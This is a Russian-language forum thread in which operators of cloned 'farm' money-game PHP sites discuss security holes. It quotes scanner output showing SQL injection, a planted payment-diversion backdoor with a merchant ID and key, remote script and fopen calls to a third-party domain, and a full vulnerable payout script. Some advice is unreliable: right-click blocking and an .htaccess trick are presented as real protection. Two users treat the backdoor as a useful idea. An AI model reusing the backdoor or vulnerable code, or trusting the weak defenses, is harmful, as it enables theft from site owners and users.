juranja
Местный
- Сообщения
- 99
- Реакции
- 5
ЭХ какой шустры я. Тут полгода читаю и много чего не понял , один файл в директории так же действует и во вложенные папки, способов защиты уйма Сталин тебе в помощь , вот пример как раз для фермы : если в вашем скрипте в месте загрузки картинок нет защиты (фильтрации к примеру), то можно загрузить что угодно, в том числе и НЕ картинки!Олег Длиннов написал(а):у меня нету времени читать все посты. Нужно в каждую папку запихнуть файл .htaccess и прописать в него
deny from all ? или как? я дочитал до 3 страницы и так ничего и не понял
Для этой проблемы есть решение: Заходим в папку куда загружаются картинки к примеру аватары пользователей, и в ней открываем файл htaccess (если его нет, то создаем), в нем пишем этот код: php_flag engine 0 AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .jpg .asp .jsp
Таким образом мы запретили загрузку файлов с расширением что указаны в коде. При желании можно добавить или удалить расширения. Ну и остается дело за малым - сохранить файл. Все, теперь хакер не сможет загрузить "левый" файл . Остальное ищи и выбирай подходящий способ защиты
Олег Длиннов
Участник
- Сообщения
- 67
- Реакции
- 6
какие аватары?) стена обычна ведь ) просто дата регистрации, реферал и выплатыЗаходим в папку куда загружаются картинки к примеру аватары пользователей, и в ней открываем файл htaccess
juranja
Местный
- Сообщения
- 99
- Реакции
- 5
я
Я пример привел тебе очень подходит для папки js , а так по гугли способы защиты смотря что ты хочешь сделать у меня в разных папках разная защита а основная как и у всех deny from all ( если ты вложил htассеss в папку pages он так же действует и на папки.вложенные в pages)Олег Длиннов написал(а):какие аватары?) стена обычна ведь ) просто дата регистрации, реферал и выплаты
Олег Длиннов
Участник
- Сообщения
- 67
- Реакции
- 6
это получается, что нужно во все папки повпихивать deny from all ?juranja написал(а):я
Я пример привел тебе очень подходит для папки js , а так по гугли способы защиты смотря что ты хочешь сделать у меня в разных папках разная защита а основная как и у всех deny from all ( если ты вложил htассеss в папку pages он так же действует и на папки.вложенные в pages)
rus56
Участник
- Сообщения
- 126
- Реакции
- 16
НЕТ в определенные т.к. не будут работать некоторые файлы, я допустим в некоторые папки прописал Options All -IndexesОлег Длиннов написал(а):это получается, что нужно во все папки повпихивать deny from all ?
Просканировал файлы и выдало Все - (16), XSS - (6), SQL Injection - (9), Active Script - (1)
Что это значит ?
/_about.php
61:
$db->Query("UPDATE db_conabrul SET about = '".$_POST["tx"]."' WHERE id = '1'");
SQL Injection!
/_contacts.php
60:
$db->Query("UPDATE db_conabrul SET contacts = '".$_POST["tx"]."' WHERE id = '1'");
SQL Injection!
/_edit_index.php
10:
fwrite($fid, $_POST["tx"]);
И еще
/inter_merchant.php
21:
$user_id = $_POST['us_id'];
/inter_merchant.php
32:
$db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");
SQL Injection!
/inter_merchant.php
21:
$user_id = $_POST['us_id'];
/inter_merchant.php
40:
$db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");
SQL Injection!
/inter_merchant.php
21:
$user_id = $_POST['us_id'];
/inter_merchant.php
48:
$db->Query("UPDATE db_users_b SET money_b = money_b '$serebro', a_t = a_t '$add_tree', to_referer = to_referer '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum '$ik_payment_amount' WHERE id = '{$user_id}'");
Что это значит ?
/_about.php
61:
$db->Query("UPDATE db_conabrul SET about = '".$_POST["tx"]."' WHERE id = '1'");
SQL Injection!
/_contacts.php
60:
$db->Query("UPDATE db_conabrul SET contacts = '".$_POST["tx"]."' WHERE id = '1'");
SQL Injection!
/_edit_index.php
10:
fwrite($fid, $_POST["tx"]);
И еще
/inter_merchant.php
21:
$user_id = $_POST['us_id'];
/inter_merchant.php
32:
$db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");
SQL Injection!
/inter_merchant.php
21:
$user_id = $_POST['us_id'];
/inter_merchant.php
40:
$db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");
SQL Injection!
/inter_merchant.php
21:
$user_id = $_POST['us_id'];
/inter_merchant.php
48:
$db->Query("UPDATE db_users_b SET money_b = money_b '$serebro', a_t = a_t '$add_tree', to_referer = to_referer '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum '$ik_payment_amount' WHERE id = '{$user_id}'");
Krikash
Местный
- Сообщения
- 91
- Реакции
- 8
Ребята вот что я нашел, в файле _payment.php появились вот такие строчки:
if ($sum > 99)
$m_shop = 42179311;
else
$m_shop = $config->shopID;
ниже
if ($sum > 99)
$m_key = "rQoObl1o4OunPe5o";
else
$m_key = $config->secretW;
и ниже в этом же файле
<input type="hidden" name="m_shop" value="<? if ($sum > 99) echo 42179311; else echo $config->shopID; ?>">
Как вы понимаете что кто то типо хацкер запилил мне этот код, как вы видите если пополняемая сумма больше 99 рублей то она идет ему в кошель, если меньше то идут в ваш кошелек, какой щедрый сцука.
if ($sum > 99)
$m_shop = 42179311;
else
$m_shop = $config->shopID;
ниже
if ($sum > 99)
$m_key = "rQoObl1o4OunPe5o";
else
$m_key = $config->secretW;
и ниже в этом же файле
<input type="hidden" name="m_shop" value="<? if ($sum > 99) echo 42179311; else echo $config->shopID; ?>">
Как вы понимаете что кто то типо хацкер запилил мне этот код, как вы видите если пополняемая сумма больше 99 рублей то она идет ему в кошель, если меньше то идут в ваш кошелек, какой щедрый сцука.
Krikash
Местный
- Сообщения
- 91
- Реакции
- 8
- Сообщения
- 135
- Реакции
- 75
ничего, можешь вырезатьusolec написал(а):что будет если вырезать?
Freeman18rus
Участник
- Сообщения
- 26
- Реакции
- 3
кстати это хорошая мысль для защиты денег, вписав туда свой второй кошелекKrikash написал(а):Ребята вот что я нашел, в файле _payment.php появились вот такие строчки:
if ($sum > 99)
$m_shop = 42179311;
else
$m_shop = $config->shopID;
ниже
if ($sum > 99)
$m_key = "rQoObl1o4OunPe5o";
else
$m_key = $config->secretW;
и ниже в этом же файле
<input type="hidden" name="m_shop" value="<? if ($sum > 99) echo 42179311; else echo $config->shopID; ?>">
Как вы понимаете что кто то типо хацкер запилил мне этот код, как вы видите если пополняемая сумма больше 99 рублей то она идет ему в кошель, если меньше то идут в ваш кошелек, какой щедрый сцука.
lizard
Участник
- Сообщения
- 10
- Реакции
- 0
Подскажите,как правильно поставить.что бы большие суммы переводились на другой кошель для безопастности)Freeman18rus написал(а):кстати это хорошая мысль для защиты денег, вписав туда свой второй кошелек
- Сообщения
- 280
- Реакции
- 46
Как сделать поиск в ++ по всем файлам сервера? Каждый файл отдельно или есть другой способ? (чтобы все сразу)wh1skas написал(а):сорри за пруфы, но... http://fruit-farm.org/return_viewer2342233.php?go2
Ищи свой сайт. Есть? Значит есть дыра. Делай поиск фразы: fruit-farm.org по всем файлам сервера с помощью Npp++ и понимай, что да как. Такую штуку пихали в историю выплат (админка).
Rozario
Местный
- Сообщения
- 38
- Реакции
- 8
Всё красиво конечно, но кто-нибудь может малообразованным на живом примере показать как обрамить код?wh1skas написал(а):К сожалению, у этого скрипта есть изъян, который позволяет отключить в браузере JS и обойти эту уловку с запретом на использование ПКМ.
Есть несколько способов решения этой проблемы, сразу перейду к ним, только в совокупности это спасет Вас, а точнее Ваших пользователей от подмены кошелька мошенником:
1. Необходимо обрамить код заказа выплаты в javascript, а именно только таблицу с формой (<form> имеется ввиду).
2. Выводить в тегах <noscript> на сайте, что сайт не будет работать с отключенными JavaScript.
Соответственно, что мы имеем:
Посмотреть вложение 1085
Согласну анимашке, пользователь будет жмякать на кнопочки оформления заявки, заказывать выплату. Предположим, что кошелек привязан. Хацкер захочет сменить кошелек, посредством подмены через код страницы (элемента). ДжаваСкрипт запрещает использовать ПКМ. Хацкер отключает JS в браузере и пытается обойти запрет но:
1. Теперь он может юзать пкм на странице.
2. Кнопка оформления не сработает.
Ура? - УРА!
заранее благодарен!
а то эта проблема у меня на сайте периодически возникает))
Rozario написал(а):Всё красиво конечно, но кто-нибудь может малообразованным на живом примере показать как обрамить код?
заранее благодарен!
а то эта проблема у меня на сайте периодически возникает))
в файле _payment.php в самом верху вставить скрипт который запрещает использование пкмskroliks написал(а):Всё красиво конечно, но кто-нибудь может малообразованным на живом примере показать как обрамить код?
заранее благодарен!
а то эта проблема у меня на сайте периодически возникает))
присоединяюсь!
<script LANGUAGE="JavaScript1.1">document.oncontextmenu = function(){return false;};</script>
после вставить скрипт спойлера
<script type="text/javascript">
$(document).ready(function(){
$('.splLink').click(function(){
$(this).parent().children('div.splCont').toggle('normal');
return false;
});
});
</script>
далее найти код:
<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td>
<td><input type="text" name="purse" size="15"/></td>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form>
и перед строчкой <form action="" method="post"> написать <div><a href="javascript//" class="splLink">Оформить заявку</a><div class="splCont" >, а после </form> добавить </div></div>
и чуть не забыл, в файле style.css добавить
.splCont{display:none;border:1px solid #cccccc;padding:3px 5px;}
.splLink {display: table; border: 1px solid #b8ddb4; background: linear-gradient(to right, #d4ead3, #d1ebd0); margin-left: 215px; padding: 10px; border-radius: 7px; color: #7ea57b; text-decoration: none; font-weight: bold; }
.splLink:hover { color:#99be97; text-decoration:none;}
Последнее редактирование модератором:
MrMatnoos
Участник
у меня этот скрипт не работает.korozist написал(а):в файле _payment.php в самом верху вставить скрипт который запрещает использование пкм
<script LANGUAGE="JavaScript1.1">document.oncontextmenu = function(){return false;};</script>
Rozario
Местный
- Сообщения
- 38
- Реакции
- 8
Благодарю конечно за суету!, но этот скрипт не спасает от подмены кошелька, всё установил, как нарисовано но через обработчик всё равно заменил кошель , возможно здесь нужно что то ещё?korozist написал(а):хз почему не работает. могу только код своего _payment.php выложить для сравнения
<script LANGUAGE="JavaScript1.1">
document.oncontextmenu = function(){return false;};
</script>
<script LANGUAGE="JavaScript1.1">
document.oncontextmenu = function(){return false;};
</script>
<div class="s-bk-lf">
<div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];
$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();
$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();
$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");
# Минималка серебром!
$minPay = 50;
?>
<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из payeer</a> <BR /><BR />
<center><b>Заказ выплаты:</b></center><BR />
<?PHP
function ViewPurse($purse){
if( substr($purse,0,1) != "P" ) return false;
if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;
return $purse;
}
# Заносим выплату
if(isset($_POST["purse"])){
$purse = ViewPurse($_POST["purse"]);
$sum = intval($_POST["sum"]);
$val = "RUB";
if($purse !== false){
if($sum >= $minPay){
if($sum <= $user_data["money_p"]){
# Проверяем на существующие заявки
$db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
if($db->FetchRow() == 0){
### Делаем выплату ###
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if ($payeer->isAuth())
{
$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0)
{
$sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
if( ($balance) >= ($sum_pay+100)){
$arTransfer = $payeer->transfer(array(
'curIn' => 'RUB', // счет списания
'sum' => $sum_pay, // сумма получения
'curOut' => 'RUB', // валюта получения
'to' => $purse, // получатель (email)
//'to' => '+71112223344', // получатель (телефон)
//'to' => 'P1000000', // получатель (номер счета)
'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта WM-Farm")
//'anonim' => 'Y', // анонимный перевод
//'protect' => 'Y', // протекция сделки
//'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
//'protectCode' => '12345', // код протекции
));
if (!empty($arTransfer["historyId"]))
{
# Снимаем с пользователя
$db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
# Вставляем запись в выплаты
$da = time();
$dd = $da + 60*60*24*15;
$ppid = $arTransfer["historyId"];
$db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
$db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
$db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");
echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
}
else
{
echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
}
}else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
}else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
}else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
}else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />";
}else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
}
?>
<script type="text/javascript">//скрипт спойлера
$(document).ready(function(){
$('.splLink').click(function(){
$(this).parent().children('div.splCont').toggle('normal');
return false;
});
});
</script>
<div><a href="https://servahoc.ru/redirect.php?url=javascript//" class="splLink">Оформить заявку</a><div class="splCont" >
<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td>
<td><input type="text" name="purse" size="15"/></td>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form></div></div>
<script language="javascript">PaymentSum(); SetVal();</script>
<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
</tr>
<tr>
<td align="center" class="m-tb">Серебро</td>
<td align="center" class="m-tb">Получаете</td>
<td align="center" class="m-tb">Кошелек</td>
<td align="center" class="m-tb">Дата</td>
<td align="center" class="m-tb">Статус</td>
</tr>
<?PHP
$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
if($db->NumRows() > 0){
while($ref = $db->FetchArray()){
?>
<tr class="htt">
<td align="center"><?=$ref["serebro"]; ?></td>
<td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
<td align="center"><?=$ref["purse"]; ?></td>
<td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
<td align="center"><?=$status_array[$ref["status"]]; ?></td>
</tr>
<?PHP
}
}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
?>
</table><div class="clr"></div>
</div>
nikitin2016
Участник
- Сообщения
- 228
- Реакции
- 12
@fopen("http://fruit-farm.org/admin.html","r");
чем заменить фрут-фарм ? своим доменом или просто удалить эту строку в файле : _class.rfs_payeer.php
файл : _story_insert.php
строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>
строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>
что с ними делать ? просто удалить или заменить допустим на свой домен фермы ?
чем заменить фрут-фарм ? своим доменом или просто удалить эту строку в файле : _class.rfs_payeer.php
файл : _story_insert.php
строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>
строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>
что с ними делать ? просто удалить или заменить допустим на свой домен фермы ?
Последнее редактирование модератором:
Rozario
Местный
- Сообщения
- 38
- Реакции
- 8
удалиnikitin2016 написал(а):файл : _story_insert.php
строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>
строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>
что с ними делать ? просто удалить или заменить допустим на свой домен фермы ?
nikitin2016
Участник
- Сообщения
- 228
- Реакции
- 12
@fopen("http://fruit-farm.org/admin.html","r");Rozario написал(а):удали
чем заменить фрут-фарм ? своим доменом или просто удалить эту строку в файле : _class.rfs_payeer.php